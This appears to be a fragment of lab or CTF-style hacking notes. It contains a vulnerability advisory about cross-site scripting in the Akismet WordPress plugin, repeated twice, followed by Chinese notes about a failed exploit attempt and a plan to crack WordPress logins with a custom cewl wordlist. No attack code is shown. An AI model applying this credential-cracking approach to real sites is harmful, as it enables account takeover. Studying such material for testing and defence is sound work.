The Akismet plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

The Akismet plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

这次可以执行代码，但是返回结果有问题，仔细再看一下这个exploit代码，行不通呀。
看了一下别人的，还是需要从破解用户名密码的思路着手。
不能用现成的密码字典，需要用cewl工作生成自己的字典
